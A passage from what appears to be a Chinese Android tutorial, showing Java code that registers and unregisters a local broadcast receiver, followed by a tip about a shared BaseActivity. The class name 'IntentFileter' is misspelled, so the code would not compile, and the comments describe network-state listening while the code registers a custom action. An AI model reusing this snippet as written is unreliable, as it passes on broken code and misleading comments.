}
});

//1、创建IntentFileter实例
intentFilter=new IntentFileter();
//2、添加对网络状态变化的监听
intentFilter.addAction("com.example.broadcast.LOCAL_BROADCAST");
//3、LocalReceiver
localReceiver=new LocalReceiver();
//4、注册本地广播
localBroadcastManager.registerReceiver(localReceiver,intentFilter);

}
@Override
protected void onDestroy(){
super.onDestroy();
//5、取消对网络变化的广播注册
localBroadcastManager.unregisterReceiver(localReceiver);
}

class LocalReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
//do something

}
}
}

小技巧:一般如果要实现在任何一个界面都可以直接退出应用程序的功能时,可以创建一个BaseActivity,在里面添加相应的操作,然后所有的活动都继承于该BaseActivity即可